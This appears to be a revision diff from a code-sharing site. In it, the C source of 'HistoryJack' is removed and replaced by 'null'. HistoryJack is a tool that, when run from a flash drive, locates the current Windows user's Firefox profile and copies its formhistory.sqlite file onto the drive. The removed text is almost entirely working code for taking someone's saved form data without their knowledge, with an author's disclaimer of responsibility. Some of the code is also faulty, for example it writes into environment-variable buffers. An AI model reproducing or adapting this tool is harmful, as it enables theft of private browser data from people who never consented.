null
Diff to Previous Revision
--- revision 1 2010-01-23 13:26:38
+++ revision 2 2013-05-26 10:59:13
@@ -1,136 +1,1 @@
-/*
-
- HistoryJack
- 1/23/2010
- logickills
- http://logickills.org
-
-
- Exports formhistory.sqlite file from firefox browser to a flash drive or other
- removable media. This program is able to differentiate between versions of windows
- so it can find the correct path associated with the the browser.
-
- In order to use save this file to flashdrive. Once program is run from flashdrive
- it will grab the .sqlite file and place it on the flashdrive. In order to view
- sqlite files use http://sourceforge.net/projects/sqlitebrowser/.
-
- I am not responsible for anything that you do with this code. I made this in like
- 30 minutes so don't complain.
-
- <3 LogicKills
-
- */
-
-
-#include <stdio.h>
-#include <windows.h>
-#include <dirent.h>
-
-
-char* getPath();
-char** findProfile(char* directoryLocation);
-char* combineStrings(char* profile, char* path);
-
-
-
-
-int main()
-{
-
-
- char* directoryLocation = getPath();
- static char ** files = findProfile(directoryLocation);
- char* removeableMedia = _getcwd( NULL, 0 );
- char* ToFileName = strncat(removeableMedia,"\\history.sqlite",19);
- char* endPath = combineStrings(files[2],directoryLocation);
-
- CopyFile(endPath,ToFileName,TRUE);
-
- return 0;
-}
-
-char* getPath()
-{
-
- char* appPath;
- char* usrPath;
- char* fullPath;
- char* drive = getenv("SYSTEMDRIVE");
- char* user = getenv("USERNAME");
-
-
- OSVERSIONINFO info;
- info.dwOSVersionInfoSize = sizeof(info);
- GetVersionEx(&info);
-
- if (info.dwMajorVersion >= 6)
- {
- appPath = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
- usrPath = "\\Users\\";
- }
-
- else
- {
- appPath = "\\Application Data\\Mozilla\\Firefox\\Profiles";
- usrPath = "\\Documents and Settings\\";
- }
-
- strncat(drive,usrPath,strlen(usrPath) + 1);
- strncat(drive,user,strlen(user) + 1);
- strncat(drive,appPath,strlen(appPath) + 1);
- fullPath = drive;
-
- return (fullPath);
-}
-
-char** findProfile(char* path)
-{
-
- DIR *dir = opendir (path);
- size_t filecount = 0;
- size_t i = 0;
- struct dirent *dp;
-
-
- char **files;
-
- if (dir == NULL) {
-
- return NULL;
- }
- while ((dp = readdir (dir)) != NULL) {
- filecount++;
- }
-
- files = (char **) malloc (filecount * sizeof (*files));
- if (files == NULL) {
- return NULL;
- }
-
-
- rewinddir (dir);
- while ((dp = readdir (dir)) != NULL) {
- files[i] = strdup (dp->d_name);
- if (files[i] == NULL) {
-
- while (i > 0) {
- free (files[--i]);
- }
- free (files);
- return NULL;
- }
-
- i++;
- }
-
- closedir (dir);
- return files;
-}
-char* combineStrings(char* profile, char* path)
-{
- strncat(path,"\\",3);
- strncat(path,profile,strlen(profile) +1);
- strncat(path,"\\formhistory.sqlite",30);
-
- return path;
-}
+null